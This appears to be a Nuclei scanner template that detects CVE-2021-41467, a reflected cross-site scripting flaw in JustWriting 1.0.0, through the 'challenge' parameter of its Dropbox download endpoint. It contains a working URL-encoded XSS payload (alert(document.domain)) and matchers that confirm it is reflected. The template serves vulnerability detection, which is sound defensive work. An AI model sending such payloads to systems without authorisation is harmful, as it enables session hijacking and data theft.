JustWriting - Cross-Site Scripting

id: CVE-2021-41467

info:
  name: JustWriting  -  Cross-Site Scripting
  author: madrobot
  severity: medium
  description: A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/hjue/JustWriting/issues/106
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41467
    - https://github.com/hjue/JustWriting/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41467
    cwe-id: CWE-79
    epss-score: 0.00136
    epss-percentile: 0.48885
    cpe: cpe:2.3:a:justwriting_project:justwriting:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: justwriting_project
    product: justwriting
  tags: cve2021,cve,justwriting,xss,justwriting_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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